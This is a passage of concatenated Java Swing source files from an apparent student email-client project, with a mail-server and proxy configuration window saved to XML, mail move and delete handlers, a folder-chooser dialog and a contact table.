layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(javax.swing.GroupLayout.Alignment.TRAILING, layout.createSequentialGroup()
.addGap(21, 21, 21)
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(javax.swing.GroupLayout.Alignment.TRAILING, layout.createSequentialGroup()
.addComponent(jLabel5)
.addGap(18, 18, 18)
.addComponent(jTextField_Proxy, javax.swing.GroupLayout.PREFERRED_SIZE, 260, javax.swing.GroupLayout.PREFERRED_SIZE))
.addGroup(layout.createSequentialGroup()
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.TRAILING)
.addGroup(layout.createSequentialGroup()
.addComponent(jLabel2)
.addGap(18, 18, 18)
.addComponent(jTextField_pop3host, javax.swing.GroupLayout.PREFERRED_SIZE, 260, javax.swing.GroupLayout.PREFERRED_SIZE))
.addGroup(layout.createSequentialGroup()
.addComponent(jLabel1)
.addGap(18, 18, 18)
.addComponent(jTextField_smtphost, javax.swing.GroupLayout.PREFERRED_SIZE, 260, javax.swing.GroupLayout.PREFERRED_SIZE))
.addGroup(layout.createSequentialGroup()
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.TRAILING)
.addComponent(jLabel4)
.addComponent(jLabel3))
.addGap(18, 18, 18)
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING, false)
.addComponent(jTextField_password)
.addComponent(jTextField_username, javax.swing.GroupLayout.DEFAULT_SIZE, 260, Short.MAX_VALUE)))))
.addGroup(javax.swing.GroupLayout.Alignment.TRAILING, layout.createSequentialGroup()
.addComponent(jLabel6)
.addGap(18, 18, 18)
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addComponent(jButton1, javax.swing.GroupLayout.PREFERRED_SIZE, 90, javax.swing.GroupLayout.PREFERRED_SIZE)
.addComponent(jTextField_Port, javax.swing.GroupLayout.Alignment.TRAILING, javax.swing.GroupLayout.PREFERRED_SIZE, 260, javax.swing.GroupLayout.PREFERRED_SIZE))))
.addContainerGap())
.addComponent(jSeparator1, javax.swing.GroupLayout.Alignment.TRAILING, javax.swing.GroupLayout.DEFAULT_SIZE, 381, Short.MAX_VALUE)
.addComponent(jSeparator2, javax.swing.GroupLayout.Alignment.TRAILING, javax.swing.GroupLayout.DEFAULT_SIZE, 381, Short.MAX_VALUE)
.addGroup(layout.createSequentialGroup()
.addGap(76, 76, 76)
.addComponent(jLabel7, javax.swing.GroupLayout.PREFERRED_SIZE, 212, javax.swing.GroupLayout.PREFERRED_SIZE)
.addContainerGap(93, Short.MAX_VALUE))
.addGroup(javax.swing.GroupLayout.Alignment.TRAILING, layout.createSequentialGroup()
.addGap(129, 129, 129)
.addComponent(jPanel2, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED, 19, Short.MAX_VALUE)
.addComponent(jPanel1, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
.addGap(172, 172, 172)
.addComponent(jButton2)
.addContainerGap())
);
layout.setVerticalGroup(
layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(layout.createSequentialGroup()
.addGap(27, 27, 27)
.addComponent(jLabel7)
.addGap(30, 30, 30)
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
.addComponent(jTextField_smtphost, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
.addComponent(jLabel1))
.addGap(18, 18, 18)
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
.addComponent(jTextField_pop3host, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
.addComponent(jLabel2))
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addComponent(jSeparator1, javax.swing.GroupLayout.PREFERRED_SIZE, 10, javax.swing.GroupLayout.PREFERRED_SIZE)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
.addComponent(jTextField_username, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
.addComponent(jLabel3))
.addGap(31, 31, 31)
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
.addComponent(jTextField_password, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
.addComponent(jLabel4))
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED)
.addComponent(jSeparator2, javax.swing.GroupLayout.PREFERRED_SIZE, 10, javax.swing.GroupLayout.PREFERRED_SIZE)
.addGap(7, 7, 7)
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
.addComponent(jTextField_Proxy, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
.addComponent(jLabel5))
.addGap(21, 21, 21)
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
.addComponent(jTextField_Port, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
.addComponent(jLabel6))
.addGap(30, 30, 30)
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.TRAILING)
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
.addComponent(jButton2)
.addComponent(jButton1, javax.swing.GroupLayout.PREFERRED_SIZE, 60, javax.swing.GroupLayout.PREFERRED_SIZE))
.addComponent(jPanel1, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE))
.addGap(63, 63, 63)
.addComponent(jPanel2, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
.addContainerGap(javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE))
);
pack();
}// </editor-fold>//GEN-END:initComponents
/**
* xu ly button OK cua? giao dien
* @param evt
*/
private void jButton1ActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jButton1ActionPerformed
// TODO add your handling code here:
smtp_host = jTextField_smtphost.getText();
pop3_host = jTextField_pop3host.getText();
user = jTextField_username.getText();
pass = jTextField_password.getText();
proxy = jTextField_Proxy.getText();
port = jTextField_Port.getText();
String dataPath = new File(".").getAbsolutePath();
String strFileName = dataPath + "\\Database\\XML_Proxy.xml";
try {
LuuVaoXML(strFileName);
} catch (ParserConfigurationException ex) {
Logger.getLogger(JFrame_CauHinhProxy.class.getName()).log(Level.SEVERE, null, ex);
} catch (IOException ex) {
Logger.getLogger(JFrame_CauHinhProxy.class.getName()).log(Level.SEVERE, null, ex);
} catch (SAXException ex) {
Logger.getLogger(JFrame_CauHinhProxy.class.getName()).log(Level.SEVERE, null, ex);
} catch (TransformerConfigurationException ex) {
Logger.getLogger(JFrame_CauHinhProxy.class.getName()).log(Level.SEVERE, null, ex);
} catch (TransformerException ex) {
Logger.getLogger(JFrame_CauHinhProxy.class.getName()).log(Level.SEVERE, null, ex);
}
this.dispose();
}//GEN-LAST:event_jButton1ActionPerformed
private void jButton2ActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jButton2ActionPerformed
// TODO add your handling code here:
this.dispose();
}//GEN-LAST:event_jButton2ActionPerformed
/**
* @param args the command line arguments
*/
/**
*
* @param strFileName :duong dan XML can lay Config
* @throws org.xml.sax.SAXException
* @throws javax.xml.parsers.ParserConfigurationException
* @throws java.io.IOException
*/
public void LayProxytuXML(String strFileName) throws SAXException, ParserConfigurationException, IOException{
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
DocumentBuilder builder;
builder = factory.newDocumentBuilder();
Document doc = builder.parse(new File(strFileName));
Element root = (Element) doc.getDocumentElement();
NodeList nodelist = root.getElementsByTagName("Config");
Element Ele = (Element)nodelist.item(0);
NamedNodeMap attributes = Ele.getAttributes();
for(int i=0;i<attributes.getLength();++i)
{
Node attributeNode = attributes.item(i);
String name = attributeNode.getNodeName();
String value = attributeNode.getNodeValue();
if (name.equals("smptport"))
jTextField_smtphost.setText(value);
if(name.equals("pop3host"))
jTextField_pop3host.setText(value);
if(name.equals("user"))
jTextField_username.setText(value);
if(name.equals("pass"))
jTextField_password.setText(value);
if(name.equals("proxy"))
jTextField_Proxy.setText(value);
if(name.equals("port"))
jTextField_Port.setText(value);
}
}
/**
* @param strFileName :duong dan file xml
* @throws javax.xml.parsers.ParserConfigurationException
* @throws java.io.IOException
* @throws org.xml.sax.SAXException
* @throws javax.xml.transform.TransformerConfigurationException
* @throws javax.xml.transform.TransformerException
*/
public void LuuVaoXML(String strFileName) throws ParserConfigurationException, IOException, SAXException, TransformerConfigurationException, TransformerException{
//doc file xml
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
DocumentBuilder builder = factory.newDocumentBuilder();
Document doc = builder.parse(new File(strFileName));
Element root = (Element) doc.getDocumentElement();
NodeList nodelist = root.getElementsByTagName("Config");
Element Config =(Element) nodelist.item(0);
Config.setAttribute("smtphost", smtp_host);
Config.setAttribute("pop3host", pop3_host);
Config.setAttribute("user", user);
Config.setAttribute("pass", pass);
Config.setAttribute("proxy", proxy);
Config.setAttribute("port", port);
Transformer xformer = TransformerFactory.newInstance().newTransformer();
xformer.transform
(new DOMSource(doc), new StreamResult(new File(strFileName)));
}
public static void main(String args[]) {
java.awt.EventQueue.invokeLater(new Runnable() {
public void run() {
new JFrame_CauHinhProxy().setVisible(true);
}
});
}
// Variables declaration - do not modify//GEN-BEGIN:variables
private javax.swing.JButton jButton1;
private javax.swing.JButton jButton2;
private javax.swing.JLabel jLabel1;
private javax.swing.JLabel jLabel2;
private javax.swing.JLabel jLabel3;
private javax.swing.JLabel jLabel4;
private javax.swing.JLabel jLabel5;
private javax.swing.JLabel jLabel6;
private javax.swing.JLabel jLabel7;
private javax.swing.JPanel jPanel1;
private javax.swing.JPanel jPanel2;
private javax.swing.JSeparator jSeparator1;
private javax.swing.JSeparator jSeparator2;
private javax.swing.JTextField jTextField_Port;
private javax.swing.JTextField jTextField_Proxy;
private javax.swing.JPasswordField jTextField_password;
private javax.swing.JTextField jTextField_pop3host;
private javax.swing.JTextField jTextField_smtphost;
private javax.swing.JTextField jTextField_username;
// End of variables declaration//GEN-END:variables
}
| 0512324-0512328-0512333-mailclient | trunk/ 0512324-0512328-0512333-mailclient/DoAnLyThuyet_JavaOutLook/src/doanlythuyet_javaoutlook/MyUserControl/JFrame_CauHinhProxy.java | Java | asf20 | 21,846 |
/*
* To change this template, choose Tools | Templates
* and open the template in the editor.
*/
package doanlythuyet_javaoutlook.MyUserControl;
import BUS.MyMailBUS;
import doanlythuyet_javaoutlook.DoAnLyThuyet_JavaOutLookView;
import doanlythuyet_javaoutlook.EventListener_ClickChuotVaoCayDuyetFile;
import java.awt.event.MouseEvent;
import java.awt.event.MouseListener;
import java.io.IOException;
import java.util.logging.Level;
import java.util.logging.Logger;
import javax.swing.JMenuItem;
import javax.swing.JOptionPane;
import javax.swing.JPopupMenu;
import javax.xml.parsers.ParserConfigurationException;
import org.xml.sax.SAXException;
/**
*
* @author Administrator
*/
public class PopupMenu_MouseListerner_MyBangDanhSachFile implements MouseListener{
private String m_HanhViDuocChon;
//public String m_ThuMucDangChon;
public PopupMenu_MouseListerner_MyBangDanhSachFile(String hanhVi){
m_HanhViDuocChon = hanhVi;
}
public void mouseClicked(MouseEvent e) {
//throw new UnsupportedOperationException("Not supported yet.");
}
public void mousePressed(MouseEvent e) {
//throw new UnsupportedOperationException("Not supported yet.");
//JOptionPane.showMessageDialog(null, "Hanh vi duoc chon: " + m_HanhViDuocChon + "xu ly code tai dong 530 file JPanel_XemMail.java");
String MailID = ((JPopupMenu) ((JMenuItem)e.getSource()).getParent()).getToolTipText();
MyMailBUS mailBUS = new MyMailBUS();
if (m_HanhViDuocChon.equals("Di Chuyen")){
try {
JDialog_ChonThuMucDich dialog_ChonThuMucDich = new JDialog_ChonThuMucDich(null, true);
dialog_ChonThuMucDich.setVisible(true);
String thuMucDich = dialog_ChonThuMucDich.getM_ThuMucDuocChon();
dialog_ChonThuMucDich.dispose();
if (thuMucDich.equals(""))
return;
int soMailCapNhat = mailBUS.thayDoiDuongDanThuMuc(MailID, thuMucDich);
JOptionPane.showMessageDialog(null, "Da cap nhat " + soMailCapNhat + "mail");
dialog_ChonThuMucDich.dispose();
} catch (IOException ex) {
Logger.getLogger(PopupMenu_MouseListerner_MyBangDanhSachFile.class.getName()).log(Level.SEVERE, null, ex);
}
}
else if(m_HanhViDuocChon.equals("Xoa")){
try {
int soMailCapNhat = mailBUS.xoaMail(MailID);
JOptionPane.showMessageDialog(null, "Da cap nhat " + soMailCapNhat + "mail");
} catch (IOException ex) {
Logger.getLogger(PopupMenu_MouseListerner_MyBangDanhSachFile.class.getName()).log(Level.SEVERE, null, ex);
}
}
initEvent_ClickChuotVaoCayDuyetFile(m_HanhViDuocChon);
}
public void mouseReleased(MouseEvent e) {
//throw new UnsupportedOperationException("Not supported yet.");
}
public void mouseEntered(MouseEvent e) {
//throw new UnsupportedOperationException("Not supported yet.");
}
public void mouseExited(MouseEvent e) {
//throw new UnsupportedOperationException("Not supported yet.");
}
//<editor-fold defaultstate="collapsed" desc="Dung de phat sinh su kien">
//Các hàm sau phục vụ cho việc gởi sự kiện click chuột vào bảng ra ngoài (tham khảo từ nhiều nguồn trên mạng)
//http://www.exampledepot.com/egs/java.util/CustEvent.html
// Tạo một listener list
protected javax.swing.event.EventListenerList listenerList =
new javax.swing.event.EventListenerList();
/**
* Phát sinh sử kiện click chuột vào tree
* @param evt tham số cho sự kiện click chuột vào tree (ở đây là tên của file đang được chọn)
*/
// This private class is used to fire MyEvents
void initEvent_ClickChuotVaoCayDuyetFile(String evt) {
Object[] listeners = listenerList.getListenerList();
// Each listener occupies two elements - the first is the listener class
// and the second is the listener instance
for (int i = 0; i < listeners.length; i += 2) {
if (listeners[i] == EventListener_ClickChuotVaoCayDuyetFile.class) {
((EventListener_ClickChuotVaoCayDuyetFile) listeners[i + 1]).Event_ClickChuotVaoCayDuyetFile_Occurred(evt);
}
}
}
/**
* Đăng ký sự kiện cho classes
* @param listener Sự kiện cần đăng ký
*/
public void addEventListener_ClickChuotVaoCayDuyetFile(EventListener_ClickChuotVaoCayDuyetFile listener) {
listenerList.add(EventListener_ClickChuotVaoCayDuyetFile.class, listener);
}
/**
* Gỡ bỏ sự kiện khỏi classes
* @param listener Sự kiện cần gỡ bỏ
*/
public void delEventListener_ClickChuotVaoCayDuyetFile(EventListener_ClickChuotVaoCayDuyetFile listener) {
listenerList.remove(EventListener_ClickChuotVaoCayDuyetFile.class, listener);
}
//</editor-fold>
} | 0512324-0512328-0512333-mailclient | trunk/ 0512324-0512328-0512333-mailclient/DoAnLyThuyet_JavaOutLook/src/doanlythuyet_javaoutlook/MyUserControl/PopupMenu_MouseListerner_MyBangDanhSachFile.java | Java | asf20 | 5,179 |
/*
* To change this template, choose Tools | Templates
* and open the template in the editor.
*/
/*
* JDialog_ChonThuMucDich.java
*
* Created on Jun 16, 2009, 1:57:53 AM
*/
package doanlythuyet_javaoutlook.MyUserControl;
import doanlythuyet_javaoutlook.DoAnLyThuyet_JavaOutLookApp;
import doanlythuyet_javaoutlook.EventListener_ClickChuotVaoCayDuyetFile;
import java.io.File;
import javax.swing.JOptionPane;
/**
*
* @author Administrator
*/
public class JDialog_ChonThuMucDich extends javax.swing.JDialog {
private String m_ThuMucDuocChon = "";
private JTreeFromXMLFile jTree_ThuMucMail;
private JTreeFromXMLFile jTree_ThuMucNguoiDung;
/** Creates new form JDialog_ChonThuMucDich */
public JDialog_ChonThuMucDich(java.awt.Frame parent, boolean modal) {
super(parent, modal);
initComponents();
initMyComponent();
}
/** This method is called from within the constructor to
* initialize the form.
* WARNING: Do NOT modify this code. The content of this method is
* always regenerated by the Form Editor.
*/
@SuppressWarnings("unchecked")
// <editor-fold defaultstate="collapsed" desc="Generated Code">//GEN-BEGIN:initComponents
private void initComponents() {
jButton_DongY = new javax.swing.JButton();
jPanel1 = new javax.swing.JPanel();
jScrollPane_ThuMucMail = new javax.swing.JScrollPane();
jScrollPane_ThuMucNguoiDung = new javax.swing.JScrollPane();
jLabel_DangChon = new javax.swing.JLabel();
setDefaultCloseOperation(javax.swing.WindowConstants.DISPOSE_ON_CLOSE);
setName("Form"); // NOI18N
org.jdesktop.application.ResourceMap resourceMap = org.jdesktop.application.Application.getInstance(doanlythuyet_javaoutlook.DoAnLyThuyet_JavaOutLookApp.class).getContext().getResourceMap(JDialog_ChonThuMucDich.class);
jButton_DongY.setText(resourceMap.getString("jButton_DongY.text")); // NOI18N
jButton_DongY.setName("jButton_DongY"); // NOI18N
jButton_DongY.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
jButton_DongYActionPerformed(evt);
}
});
jPanel1.setBorder(javax.swing.BorderFactory.createTitledBorder(resourceMap.getString("jPanel1.border.title"))); // NOI18N
jPanel1.setName("jPanel1"); // NOI18N
jScrollPane_ThuMucMail.setName("jScrollPane_ThuMucMail"); // NOI18N
jScrollPane_ThuMucNguoiDung.setName("jScrollPane_ThuMucNguoiDung"); // NOI18N
javax.swing.GroupLayout jPanel1Layout = new javax.swing.GroupLayout(jPanel1);
jPanel1.setLayout(jPanel1Layout);
jPanel1Layout.setHorizontalGroup(
jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(jPanel1Layout.createSequentialGroup()
.addComponent(jScrollPane_ThuMucMail, javax.swing.GroupLayout.PREFERRED_SIZE, 237, javax.swing.GroupLayout.PREFERRED_SIZE)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addComponent(jScrollPane_ThuMucNguoiDung, javax.swing.GroupLayout.PREFERRED_SIZE, 237, javax.swing.GroupLayout.PREFERRED_SIZE))
);
jPanel1Layout.setVerticalGroup(
jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(jPanel1Layout.createSequentialGroup()
.addContainerGap()
.addGroup(jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addComponent(jScrollPane_ThuMucNguoiDung, javax.swing.GroupLayout.DEFAULT_SIZE, 242, Short.MAX_VALUE)
.addComponent(jScrollPane_ThuMucMail, javax.swing.GroupLayout.DEFAULT_SIZE, 242, Short.MAX_VALUE))
.addContainerGap())
);
jLabel_DangChon.setText(resourceMap.getString("jLabel_DangChon.text")); // NOI18N
jLabel_DangChon.setName("jLabel_DangChon"); // NOI18N
javax.swing.GroupLayout layout = new javax.swing.GroupLayout(getContentPane());
getContentPane().setLayout(layout);
layout.setHorizontalGroup(
layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(javax.swing.GroupLayout.Alignment.TRAILING, layout.createSequentialGroup()
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.TRAILING)
.addComponent(jPanel1, javax.swing.GroupLayout.Alignment.LEADING, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
.addGroup(layout.createSequentialGroup()
.addContainerGap()
.addComponent(jLabel_DangChon)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED, 414, Short.MAX_VALUE)
.addComponent(jButton_DongY)))
.addContainerGap())
);
layout.setVerticalGroup(
layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(javax.swing.GroupLayout.Alignment.TRAILING, layout.createSequentialGroup()
.addComponent(jPanel1, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED)
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
.addComponent(jButton_DongY)
.addComponent(jLabel_DangChon))
.addContainerGap())
);
pack();
}// </editor-fold>//GEN-END:initComponents
public void initMyComponent (){
String dataPath = DoAnLyThuyet_JavaOutLookApp.getCurdir() + "\\src";
dataPath = new File(".").getAbsolutePath();
String fileName = "\\Database\\XML_ThuMucMail.xml";
//fileName =
jTree_ThuMucMail = new JTreeFromXMLFile(dataPath + fileName, false);
jScrollPane_ThuMucMail.setViewportView(jTree_ThuMucMail);
jTree_ThuMucMail.addEventListener_ClickChuotVaoCayDuyetFile(new EventListener_ClickChuotVaoCayDuyetFile() {
public void Event_ClickChuotVaoCayDuyetFile_Occurred(String str_fileduocchon) {
jLabel_DangChon.setText(str_fileduocchon);
}
});
//String dataPath = DoAnLyThuyet_JavaOutLookApp.getCurdir() + "\\src\\Database\\";
fileName = "\\Database\\XML_ThuMucNguoiDung.xml";
jTree_ThuMucNguoiDung = new JTreeFromXMLFile(dataPath + fileName, false);
jScrollPane_ThuMucNguoiDung.setViewportView(jTree_ThuMucNguoiDung);
jTree_ThuMucNguoiDung.addEventListener_ClickChuotVaoCayDuyetFile(new EventListener_ClickChuotVaoCayDuyetFile() {
public void Event_ClickChuotVaoCayDuyetFile_Occurred(String str_fileduocchon) {
jLabel_DangChon.setText(str_fileduocchon);
}
});
//jTree_ThuMucMail.addEventListener_ClickChuotVaoCayDuyetFile(new EventListener_ClickChuotVaoCayDuyetFile() {
//JTreeFromXMLFile tree = new JTreeFromXMLFile(xmlFilePath)
}
private void jButton_DongYActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jButton_DongYActionPerformed
// TODO add your handling code here:
m_ThuMucDuocChon = jLabel_DangChon.getText();
if (m_ThuMucDuocChon.equals("")){
JOptionPane.showMessageDialog(null, "Xin chọn thư mục!");
return;
}
//this.getParent()
setVisible(false);
}//GEN-LAST:event_jButton_DongYActionPerformed
/**
* @param args the command line arguments
*/
public static void main(String args[]) {
java.awt.EventQueue.invokeLater(new Runnable() {
public void run() {
JDialog_ChonThuMucDich dialog = new JDialog_ChonThuMucDich(new javax.swing.JFrame(), true);
dialog.addWindowListener(new java.awt.event.WindowAdapter() {
public void windowClosing(java.awt.event.WindowEvent e) {
System.exit(0);
}
});
dialog.setVisible(true);
}
});
}
// Variables declaration - do not modify//GEN-BEGIN:variables
private javax.swing.JButton jButton_DongY;
private javax.swing.JLabel jLabel_DangChon;
private javax.swing.JPanel jPanel1;
private javax.swing.JScrollPane jScrollPane_ThuMucMail;
private javax.swing.JScrollPane jScrollPane_ThuMucNguoiDung;
// End of variables declaration//GEN-END:variables
/**
* @return the m_ThuMucDuocChon
*/
public String getM_ThuMucDuocChon() {
return m_ThuMucDuocChon;
}
}
| 0512324-0512328-0512333-mailclient | trunk/ 0512324-0512328-0512333-mailclient/DoAnLyThuyet_JavaOutLook/src/doanlythuyet_javaoutlook/MyUserControl/JDialog_ChonThuMucDich.java | Java | asf20 | 8,899 |
/*
* To change this template, choose Tools | Templates
* and open the template in the editor.
*/
package doanlythuyet_javaoutlook.MyUserControl;
import BUS.MyContactBUS;
import DTO.MyContactDTO;
import doanlythuyet_javaoutlook.EventListener_ClickChuotVaoCayDuyetFile;
import java.awt.event.ItemEvent;
import java.awt.event.ItemListener;
import java.awt.event.MouseEvent;
import java.awt.event.MouseListener;
import java.io.IOException;
import java.sql.SQLException;
import java.util.ArrayList;
import java.util.logging.Level;
import java.util.logging.Logger;
import javax.swing.AbstractButton;
import javax.swing.JTable;
import javax.swing.table.DefaultTableModel;
import javax.swing.table.TableColumn;
import javax.swing.table.TableModel;
/**
*
* @author Administrator
*/
public class jTable_HienThiContact extends JTable {
public jTable_HienThiContact(){
//File file = moDialogChonAnh();
setAutoCreateRowSorter(true);
}
//<editor-fold defaultstate="collapsed" desc="Dung de phat sinh su kien">
//Các hàm sau phục vụ cho việc gởi sự kiện click chuột vào bảng ra ngoài (tham khảo từ nhiều nguồn trên mạng)
//http://www.exampledepot.com/egs/java.util/CustEvent.html
// Tạo một listener list
protected javax.swing.event.EventListenerList listenerList =
new javax.swing.event.EventListenerList();
/**
* Phát sinh sử kiện click chuột vào tree
* @param evt tham số cho sự kiện click chuột vào tree (ở đây là tên của file đang được chọn)
*/
// This private class is used to fire MyEvents
void initEvent_ClickChuotVaoCayDuyetFile(String evt) {
Object[] listeners = listenerList.getListenerList();
// Each listener occupies two elements - the first is the listener class
// and the second is the listener instance
for (int i = 0; i < listeners.length; i += 2) {
if (listeners[i] == EventListener_ClickChuotVaoCayDuyetFile.class) {
((EventListener_ClickChuotVaoCayDuyetFile) listeners[i + 1]).Event_ClickChuotVaoCayDuyetFile_Occurred(evt);
}
}
}
/**
* Đăng ký sự kiện cho classes
* @param listener Sự kiện cần đăng ký
*/
public void addEventListener_ClickChuotVaoCayDuyetFile(EventListener_ClickChuotVaoCayDuyetFile listener) {
listenerList.add(EventListener_ClickChuotVaoCayDuyetFile.class, listener);
}
/**
* Gỡ bỏ sự kiện khỏi classes
* @param listener Sự kiện cần gỡ bỏ
*/
public void delEventListener_ClickChuotVaoCayDuyetFile(EventListener_ClickChuotVaoCayDuyetFile listener) {
listenerList.remove(EventListener_ClickChuotVaoCayDuyetFile.class, listener);
}
//</editor-fold>
public void DuaDanhSachMailVaoBang(ArrayList<MyContactDTO>DanhSachMail) throws IOException, SQLException{
final String cacCotDuLieu[] = {"Tất cả","Họ tên","Nickname","Email","Địa chỉ", "Cơ quan", "Điện thoại", "ID"};
Object DuLieu[][] = new Object[DanhSachMail.size()][cacCotDuLieu.length];
for(int i = 0; i < DanhSachMail.size();i++){
int index = 0;
DuLieu[i][index++] = false;
//for(int j = 1; i < model.) dulieu[index] = new Object();
DuLieu[i][index++] = DanhSachMail.get(i).getM_Ten();
DuLieu[i][index++] = DanhSachMail.get(i).getM_NickName();
DuLieu[i][index++] = DanhSachMail.get(i).getM_Email();
DuLieu[i][index++] = DanhSachMail.get(i).getM_DiaChi();
DuLieu[i][index++] = DanhSachMail.get(i).getM_CongTy();
DuLieu[i][index++] = DanhSachMail.get(i).getM_DienThoai();
DuLieu[i][index++] = DanhSachMail.get(i).getM_Id();
}
final Object bangDuLieu[][] = DuLieu;
DefaultTableModel modelBangHienThi = new DefaultTableModel(bangDuLieu,cacCotDuLieu) {
@Override
public Class getColumnClass(int columnIndex) {
switch (columnIndex){
case 0: return Boolean.class;
default: return String.class;
}
}
@Override
public int getColumnCount() {
return cacCotDuLieu.length;
}
@Override
public String getColumnName(int column) {
return cacCotDuLieu[column];
}
@Override
public int getRowCount() {
return bangDuLieu.length;
}
@Override
public Object getValueAt(int row, int column) {
return bangDuLieu[row][column];
}
@Override
public void setValueAt(Object value, int row, int column) {
bangDuLieu[row][column] = value;
}
@Override
public boolean isCellEditable(int row, int column) {
return column == 0;
}
};
addMouseListener(new MouseListener() {
public void mouseClicked(MouseEvent e) {
//throw new UnsupportedOperationException("Not supported yet.");
if (getSelectedRow() != -1){
initEvent_ClickChuotVaoCayDuyetFile(getValueAt(getSelectedRow(), getColumnCount() - 1).toString());
}
}
public void mousePressed(MouseEvent e) {
//throw new UnsupportedOperationException("Not supported yet.");
}
public void mouseReleased(MouseEvent e) {
//throw new UnsupportedOperationException("Not supported yet.");
}
public void mouseEntered(MouseEvent e) {
//throw new UnsupportedOperationException("Not supported yet.");
}
public void mouseExited(MouseEvent e) {
//throw new UnsupportedOperationException("Not supported yet.");
}
});
this.setModel(modelBangHienThi);
//jTable_danhsachmail = new TableSelectionTest(cacCotDuLieu, bangDuLieu);
TableColumn tc = this.getColumnModel().getColumn(0);
tc.setCellEditor(this.getDefaultEditor(Boolean.class));
tc.setCellRenderer(this.getDefaultRenderer(Boolean.class));
tc.setHeaderRenderer(new CheckBoxHeader(new MyItemListener()));
// <editor-fold defaultstate="collapsed" desc="Cai dat giao dien cho bang">
//jTable_danhsachmail.setSize(500, 100);
this.getColumnModel().getColumn(0).setMaxWidth(25);
this.getColumnModel().getColumn(this.getColumnCount() - 1).setMinWidth(0);
this.getColumnModel().getColumn(this.getColumnCount() - 1).setMaxWidth(0);
this.getColumnModel().getColumn(this.getColumnCount() - 1).setPreferredWidth(0);
//jTable_danhsachmail.
// </ediort-fold>
}
private void DoiTrangThaiCotCheckBox (boolean isDuocChon){
TableModel tableModel = this.getModel();
for (int i = 0; i < tableModel.getRowCount(); i++){
tableModel.setValueAt(isDuocChon, i, 0);
}
}
public void refreshBang() {
//thanh:refresh giao dien de? cap nhat
try {
MyContactBUS attachBUS = new MyContactBUS();
ArrayList<MyContactDTO> cacContactDTO = attachBUS.layTatCaContact();
DuaDanhSachMailVaoBang(cacContactDTO);
} catch (SQLException ex) {
Logger.getLogger(JPanel_XemMail.class.getName()).log(Level.SEVERE, null, ex);
} catch (IOException ex) {
Logger.getLogger(JPanel_XemMail.class.getName()).log(Level.SEVERE, null, ex);
}
}
class MyItemListener implements ItemListener{
